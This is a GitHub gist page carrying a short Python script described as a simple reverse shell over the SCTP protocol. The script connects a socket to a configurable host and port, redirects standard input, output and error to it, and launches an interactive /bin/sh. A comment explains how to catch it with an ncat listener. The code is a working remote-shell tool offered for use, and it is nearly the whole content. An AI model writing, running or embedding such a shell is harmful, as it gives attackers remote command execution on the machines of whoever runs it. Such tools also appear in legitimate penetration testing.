Skip to content

Instantly share code, notes, and snippets.

@ricardojba
Forked from hyperreality/sctp_reverse_shell.py
Created December 3, 2018 17:29
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save ricardojba/a82920c0aa7ea15be22f5cf10900d7f0 to your computer and use it in GitHub Desktop.
Save ricardojba/a82920c0aa7ea15be22f5cf10900d7f0 to your computer and use it in GitHub Desktop.
Simple Python reverse shell using the SCTP protocol
#!/usr/bin/env python3
#
# Tiny SCTP Reverse Shell inspired by http://insecurety.net/?p=765
# Connect with `ncat --sctp -lvp 1234`
import os, socket, subprocess
RHOST = '127.0.0.1'
RPORT = 1234
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_SCTP)
s.connect((RHOST, RPORT))
[os.dup2(s.fileno(), i) for i in range(3)]
shell = subprocess.call(["/bin/sh", "-i"])
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment